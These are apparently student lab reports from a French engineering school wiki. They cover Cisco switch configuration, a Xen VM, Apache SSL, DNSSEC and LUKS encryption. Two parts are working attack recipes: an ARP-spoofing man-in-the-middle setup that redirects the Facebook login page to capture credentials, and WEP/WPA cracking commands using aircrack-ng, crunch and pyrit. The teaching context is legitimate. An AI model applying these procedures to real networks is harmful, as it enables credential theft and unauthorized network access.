 1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning)&lt;br /&gt;
 2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables.&lt;br /&gt;
    Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP.&lt;br /&gt;
 3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion.&lt;br /&gt;
 4. Profit&lt;br /&gt;
&lt;br /&gt;
==== Configuration de Squid ====&lt;br /&gt;
 # Fichier /etc/squid3/squid.conf&lt;br /&gt;
 acl allowedips src 192.168.1.0/24              # ip ou range d'ip à attaquer&lt;br /&gt;
 http_access allow allowedips&lt;br /&gt;
 forwarded_for off                              # Masque notre ip dans le header HTTP&lt;br /&gt;
 http_access deny all                           # Empeche les personnes extérieures d'accéder à notre proxy&lt;br /&gt;
 cache_access_log /var/log/squid3/access.log&lt;br /&gt;
 cache_log /var/log/squid3/cache.log&lt;br /&gt;
 cache_store_log /var/log/squid3/store.log&lt;br /&gt;
 cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
 cache_mem 16 MB&lt;br /&gt;
 maximum_object_size 15 MB&lt;br /&gt;
 http_port 3129 intercept                       # Pour rendre le proxy transparent&lt;br /&gt;
 cache_effective_group root&lt;br /&gt;
 url_rewrite_program /usr/bin/squidGuard        # Intégration de SquidGuard&lt;br /&gt;
&lt;br /&gt;
==== Configuration de SquidGuard ====&lt;br /&gt;
Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.&lt;br /&gt;
 # Fichier /etc/squidguard/squidGuard.conf&lt;br /&gt;
 dbhome /usr/local/squidGuard/db                # Dossier parent de la base de données&lt;br /&gt;
 &lt;br /&gt;
 dest fb-login {                                # Définition des urls/domaines à rediriger&lt;br /&gt;
     urllist     facebook/url&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 acl {&lt;br /&gt;
     default {&lt;br /&gt;
        pass !fb-login all                      # Laisser passer tout ce qui ne concerne pas Facebook&lt;br /&gt;
        redirect http://127.0.0.1/              # Rediriger le trafic vers notre serveur Apache local&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 # Fichier /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
 fr-fr.facebook.com&lt;br /&gt;
&lt;br /&gt;
Pour lancer le proxy, dans une console :&lt;br /&gt;
 squidGuard -C all                              # Génération de la base de données (à faire à chaque modification des fichiers db)&lt;br /&gt;
 squid3 -z                                      # Vérification de la configuration de Squid&lt;br /&gt;
 service squid start&lt;br /&gt;
 service squid status                           # Pour vérifier qu'il n'y a pas d'erreurs&lt;br /&gt;
 vim /var/log/squidguard/squidGuard.log&lt;br /&gt;
&lt;br /&gt;
S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :&lt;br /&gt;
 chown -R proxy:proxy  /var/log/squid3 /var/lib/squidguard&lt;br /&gt;
 chown -R proxy:proxy  /var/log/squidguard&lt;br /&gt;
 chown -R proxy:proxy  /usr/local/squidGuard&lt;br /&gt;
&lt;br /&gt;
==== Configuration iptables et redirection ====&lt;br /&gt;
Ici nous allons configurer la redirection du trafic.&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward                                              # Autorise le forwarding ipv4&lt;br /&gt;
 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP                                    # Bloque les ICMP 5 envoyés à la cible&lt;br /&gt;
 iptables -t nat -A PREROUTING -s &amp;lt;ip serveur squid&amp;gt; -p tcp --dport 80 -j ACCEPT     # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger&lt;br /&gt;
 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129          # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j MASQUERADE                                        # Masque l'ip de la cible avec notre propre ip&lt;br /&gt;
 iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP                        # Bloque le trafic direct vers le port du serveur Squid&lt;br /&gt;
&lt;br /&gt;
Voir le [http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect#iptables_configuration wiki de Squid] pour plus d'informations.&lt;br /&gt;
&lt;br /&gt;
==== Détournement du trafic ====&lt;br /&gt;
Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :&lt;br /&gt;
 arpspoof -i &amp;lt;interface&amp;gt; -t &amp;lt;ip cible&amp;gt; &amp;lt;ip gateway&amp;gt;&lt;br /&gt;
On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cryptage de données ===&lt;br /&gt;
Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt;.&lt;br /&gt;
Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :&lt;br /&gt;
 fdisk -l&lt;br /&gt;
Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1&lt;br /&gt;
Nous pouvons maintenant créer une partition cryptée avec :&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sdb1&lt;br /&gt;
Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :&lt;br /&gt;
 cryptsetup luksDump /dev/sdb1&lt;br /&gt;
Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
 mkfs.ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
On peut maintenant monter la partition dans un dossier :&lt;br /&gt;
 mount -t ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt; /mnt/&lt;br /&gt;
On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
 sudo cryptsetup luksClose &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour accéder à la carte SD :&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
 mount -t ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt; /mnt/&lt;br /&gt;
 // Opérations ici&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
 sudo cryptsetup luksClose &amp;lt;nom_du_disque&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA2015_-_Configuration_des_commutateurs&amp;diff=24284</id>
		<title>PRA2015 - Configuration des commutateurs</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA2015_-_Configuration_des_commutateurs&amp;diff=24284"/>
				<updated>2015-12-10T10:56:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Installation et mise en place d'un serveur DHCP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.&lt;br /&gt;
&lt;br /&gt;
A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 &amp;amp; 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Network architecture.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;Architecture du réseau mis en place&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matériel utilisé ===&lt;br /&gt;
* Commutateur Cisco 6009&lt;br /&gt;
* Un ordinateur muni d'un port série pour la configuration&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Progression ==&lt;br /&gt;
=== Semaine 1 - Prise en main ===&lt;br /&gt;
Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45.&lt;br /&gt;
Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :&lt;br /&gt;
* Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur&lt;br /&gt;
* Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur&lt;br /&gt;
&lt;br /&gt;
L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).&lt;br /&gt;
&lt;br /&gt;
=== Semaine 2 - Installation et configuration des OS ===&lt;br /&gt;
&lt;br /&gt;
==== Installation des OS ====&lt;br /&gt;
&lt;br /&gt;
On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.&lt;br /&gt;
&lt;br /&gt;
Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.&lt;br /&gt;
&lt;br /&gt;
 console&amp;gt; enable&lt;br /&gt;
 console (enable)&amp;gt; set interface sc0 192.168.0.1 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.&lt;br /&gt;
&lt;br /&gt;
 console (enable)&amp;gt; format slot0:&lt;br /&gt;
&lt;br /&gt;
On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.&lt;br /&gt;
&lt;br /&gt;
 console (enable)&amp;gt; copy tftp slot0:&lt;br /&gt;
 console (enable)&amp;gt; 192.168.0.2&lt;br /&gt;
 console (enable)&amp;gt; &amp;quot;emplacement du fichier&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.&lt;br /&gt;
&lt;br /&gt;
Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.&lt;br /&gt;
&lt;br /&gt;
A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :&lt;br /&gt;
 BOOT=slot0:&amp;lt;CHEMIN DU FICHIER.bin&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration des OS ====&lt;br /&gt;
&lt;br /&gt;
La configuration réseau du routeur se déroule en 3 étapes.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface&lt;br /&gt;
 conf t &lt;br /&gt;
 int Gi4/3&lt;br /&gt;
 switchport&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
 switchport trunk allowed vlan 11-20,110,130&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 int Gi7/2&lt;br /&gt;
 switchport&lt;br /&gt;
 switchport trunk encapsulation dot1q&lt;br /&gt;
 switchport mode trunk&lt;br /&gt;
 switchport trunk allowed vlan 11-20,110,130&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite créer les VLAN, par exemple :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 vlan 13&lt;br /&gt;
 name vlan13&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :&lt;br /&gt;
&lt;br /&gt;
 int Gi4/13&lt;br /&gt;
 switchport access vlan 13&lt;br /&gt;
 no shut&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Le schéma physique est le suivant :&lt;br /&gt;
*VLAN11 : Gigabit 4/11&lt;br /&gt;
*VLAN12 : Gigabit 4/12&lt;br /&gt;
*VLAN13 : Gigabit 4/13&lt;br /&gt;
*VLAN14 : Gigabit 4/14&lt;br /&gt;
*VLAN15 : Gigabit 4/15&lt;br /&gt;
*VLAN16 : Gigabit 4/16&lt;br /&gt;
*VLAN17 : Gigabit 4/17&lt;br /&gt;
*VLAN18 : Gigabit 4/18&lt;br /&gt;
*VLAN19 : Gigabit 4/19&lt;br /&gt;
*VLAN20 : Gigabit 4/20&lt;br /&gt;
*VLAN 110 : Gigabit 4/1&lt;br /&gt;
&lt;br /&gt;
=== Semaine 3 ===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par créer une VM Xen sur le serveur Cordouan :&lt;br /&gt;
 xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&lt;br /&gt;
*Notre IP : 193.48.57.163&lt;br /&gt;
*Masque : 255.255.255.240&lt;br /&gt;
*Passerelle : 193.48.57.174&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite crée 2 partitions LVM, home et var.&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v&lt;br /&gt;
&lt;br /&gt;
Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :&lt;br /&gt;
 disk = [ &lt;br /&gt;
           'phy:/dev/virtual/ima5-chimay-var,xvdb,w'&lt;br /&gt;
           'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]&lt;br /&gt;
 dans vif, rajouter bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :&lt;br /&gt;
 apt-get install apache2&lt;br /&gt;
 apt-get install openssh&lt;br /&gt;
 apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
=== Semaine 4 ===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol. &lt;br /&gt;
&lt;br /&gt;
==== Installation du serveur Apache et du certificat SSL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr&lt;br /&gt;
&lt;br /&gt;
Les domaines certifiés sont ''michay.lol'' et ''www.michay.lol''.&lt;br /&gt;
&lt;br /&gt;
On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.&lt;br /&gt;
&lt;br /&gt;
On poursuit ensuite en activant le module SSL d'Apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
    NameVirtualHost 193.48.57.163:443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf : &lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;                                                  **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****&lt;br /&gt;
  ServerName www.michay.lol                                           **** Domaine et Alias ****&lt;br /&gt;
  ServerAlias michay.lol&lt;br /&gt;
  DocumentRoot /var/www/www.michay.lol/                               **** Dossier contenant les fichiers du site ****&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined               **** Localisation des logs ****&lt;br /&gt;
  SSLEngine on                                                        **** Activation du SSL ****&lt;br /&gt;
  SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt                **** Chargement du certificat signé par Gandi ****&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key           **** Clé privée correspondant au certificat combiné à la PEM ****&lt;br /&gt;
  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem      **** Clé publique émise par Gandi ****&lt;br /&gt;
  SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:certif1.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;Certificat certifié par Gandi.&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
On peut notamment voir toute la chaîne de certification ! &lt;br /&gt;
&lt;br /&gt;
[[Fichier:certif2.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;La chaîne de certification de notre certificat.&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du serveur DNS et de DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :&lt;br /&gt;
&lt;br /&gt;
Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.&lt;br /&gt;
&lt;br /&gt;
zone db.michay.lol :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
  &lt;br /&gt;
 @       IN      SOA     ns.michay.lol. root.michay.lol. (&lt;br /&gt;
                     2015102001         ; Serial&lt;br /&gt;
                          86400         ; Refresh&lt;br /&gt;
                           3600         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                          86400 )       ; Negative Cache TTL&lt;br /&gt;
  &lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key&lt;br /&gt;
  &lt;br /&gt;
 @       IN      NS      ns.michay.lol.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns      IN      A       193.48.57.163&lt;br /&gt;
 www     IN      A       193.48.57.163&lt;br /&gt;
 god     IN      A       193.48.57.163&lt;br /&gt;
 ns      IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 god     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 @       IN      A       193.48.57.163&lt;br /&gt;
 @       IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
&lt;br /&gt;
et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
  &lt;br /&gt;
 @       IN       SOA     ns.michay.lol. root.michay.lol.     (&lt;br /&gt;
        2015102001       ;serial&lt;br /&gt;
        14400            ;refresh&lt;br /&gt;
        3600             ;retry&lt;br /&gt;
        604800           ;expire&lt;br /&gt;
        10800            ;minimum&lt;br /&gt;
 )&lt;br /&gt;
  &lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns.michay.lol.&lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.&lt;br /&gt;
  &lt;br /&gt;
 163               IN      PTR     michay.lol.&lt;br /&gt;
&lt;br /&gt;
On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;michay.lol&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/zones/db.michay.lol.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
        notify yes;&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 zone &amp;quot;57.48.193.in-addr.arpa&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/zones/57.48.193.in-addr.arpa&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :&lt;br /&gt;
&lt;br /&gt;
* allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)&lt;br /&gt;
*  @       IN      NS      ns6.gandi.net. et  57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire&lt;br /&gt;
&lt;br /&gt;
On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.&lt;br /&gt;
&lt;br /&gt;
Génération de la KSK :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol&lt;br /&gt;
&lt;br /&gt;
Génération de la ZSK : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol&lt;br /&gt;
&lt;br /&gt;
On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :&lt;br /&gt;
 root@chimay:/etc/bind/michay.lol.dnssec# ls&lt;br /&gt;
 total 24&lt;br /&gt;
 drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .&lt;br /&gt;
 drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..&lt;br /&gt;
 -rw-r--r-- 1 root bind  603 Oct 20 13:48 michay.lol-ksk.key&lt;br /&gt;
 -rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private&lt;br /&gt;
 -rw-r--r-- 1 root bind  429 Oct 20 13:48 michay.lol-zsk.key&lt;br /&gt;
 -rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private&lt;br /&gt;
&lt;br /&gt;
On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key&lt;br /&gt;
&lt;br /&gt;
On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique &amp;quot;Gérer DNSSEC&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Pour finir, on signe la zone avec la commande dnssec-signzone :&lt;br /&gt;
 dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk&lt;br /&gt;
&lt;br /&gt;
Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.&lt;br /&gt;
&lt;br /&gt;
Après test ([http://www.dnsstuff.com/tools#dnsReport|type=domain&amp;amp;&amp;amp;value=michay.lol juste ici]), on constate que la mise en place de DNSSEC est validée. &lt;br /&gt;
Après quelques modifications, il reste 1 &amp;quot;erreur&amp;quot; (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).&lt;br /&gt;
&lt;br /&gt;
=== Piratage des bornes wifi ===&lt;br /&gt;
==== Crackage WEP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.&lt;br /&gt;
 airmon-ng start wlanX&lt;br /&gt;
wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :&lt;br /&gt;
 airmon-ng check kill&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:&lt;br /&gt;
 airodump-ng wlan5mon&lt;br /&gt;
Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :&lt;br /&gt;
 airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon&lt;br /&gt;
&lt;br /&gt;
Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé.&lt;br /&gt;
Dans le nouveau terminal, nous entrons :&lt;br /&gt;
 aircrack-ng fichier*.cap&lt;br /&gt;
&lt;br /&gt;
Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :&lt;br /&gt;
 KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]&lt;br /&gt;
&lt;br /&gt;
==== Crackage WPA ====&lt;br /&gt;
De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.&lt;br /&gt;
&lt;br /&gt;
Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 -o dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer le bruteforce avec la commande :&lt;br /&gt;
 aircrack-ng file.cap -w dictionnaire.txt&lt;br /&gt;
La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme [https://code.google.com/p/pyrit/ pyrit] qui va utiliser le GPU de l'ordinateur. La commande est :&lt;br /&gt;
 pyrit -r file.cap -i dictionnaire.txt attack_passthrough&lt;br /&gt;
&lt;br /&gt;
===== Les résultats =====&lt;br /&gt;
Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.&lt;br /&gt;
